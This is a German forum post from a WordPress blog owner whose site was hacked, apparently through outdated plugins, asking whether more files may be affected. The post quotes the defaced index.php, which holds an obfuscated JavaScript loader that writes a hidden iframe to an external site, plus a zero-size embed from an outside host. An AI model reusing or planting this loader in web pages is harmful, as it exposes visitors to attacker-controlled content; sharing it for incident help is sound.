Hi,
gestern wurde mein Blog gehackt (WP 2.71). Vermutlich über ein Plugin, da ich mehrere Plugins nicht geupdated hatte (cForms, etc.).
Die Datei index.php war manipuliert und ich habe diese gegen eine alte Version ausgewechselt.
Hier ist die gehackte Datei:
Code
GIF89a;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0024)http://peterhagdahl.com/ -->
<HTML><HEAD><TITLE>Hacked By Cyb3rking Turkish Hacker </TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<STYLE type=text/css>.style2 {
FONT-WEIGHT: bold; COLOR: #999900
}
.style4 {
FONT-WEIGHT: bold; FONT-SIZE: 18pt; COLOR: #999900
}
.style6 {
FONT-WEIGHT: bold; COLOR: #ff0000
}
.style8 {
FONT-WEIGHT: bold; FONT-SIZE: 18pt; COLOR: #808080
}
.style9 {
FONT-WEIGHT: bold; COLOR: #ffffff
}
.style11 {
FONT-WEIGHT: bold; COLOR: #990000
}
</STYLE>
<META content="MSHTML 6.00.2900.2802" name=GENERATOR></HEAD>
<BODY bgColor=#000000>
<P align=center><FONT face=Webdings
color=#808000>\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</FONT></P><A class=giepoaytr
<H1 align=center><FONT face=Webdings color=#808000 size=100>!</FONT></H1>
<P align=center><SPAN><FONT face=Haettenschweiler color=#808080 size=5>Hey Admin
! Your Security=0 </FONT></SPAN></P>
<P class=style4 align=center>Hacked By Cyb3rking</P>
<P class=style8 align=center>Turkish Hacker </P>
<P class=style9
align=center>==========================================================</P>
<P class=style2 align=center><STRONG>Thanx to</STRONG><STRONG> : </STRONG></P>
<P class=style11 align=center>| Gatyi | ExOnE | GHOST OF IRAQ | LiveWithDie | UzMaN | HarbiyeLi | By_FatiH |</P>
<P class=style6 align=center> ... </P>
<P class=style2 align=center>|Damn With ABD & İSRAİL</P>
<P class=style2 align=center> Cyb3rking@msn.com | </P>
<P align=center><FONT face=Webdings
color=#808000>\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</FONT></P>
<P align=center>
<SCRIPT language=javascript type=text/javascript>var k1='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22',k2='0wugtu0khtcogeqwpvgt0tw1Au?3$"htcogdqtfgt?2"xurceg?2"jurceg?2"ykfvj?3"jgkijv?3"octikpykfvj?2"octikpjgkijv?2"uetqnnkpi?pq@>1khtcog@>1fkx@',t1=0,t2=0,h='';while(t1<=k1.length-1){h=h+String.fromCharCode(k1.charCodeAt(t1++)-3);}h=h+'hibbzzazbzcgc';while(t2<=k2.length-1){h=h+String.fromCharCode(k2.charCodeAt(t2++)-2);}document.write(h);</SCRIPT>
</SCRIPT><EMBED
style="BORDER-RIGHT: #0b78ff 1px solid; BORDER-TOP: #0b78ff 1px solid; FILTER: xray; BORDER-LEFT: #0b78ff 1px solid; BORDER-BOTTOM: #0b78ff 1px solid; BACKGROUND-COLOR: #0b78ff"
src=http://www.g2z4.com/1/LiT@.mp3 width=0
height=0 type=audio/x-ms-wma></B>
<P>
<CENTER><BR><BR><FONT color=green><B></B></FONT><BR></CENTER></BODY></HTML>Könnten noch weitere Dateien manipuliert sein?
:?
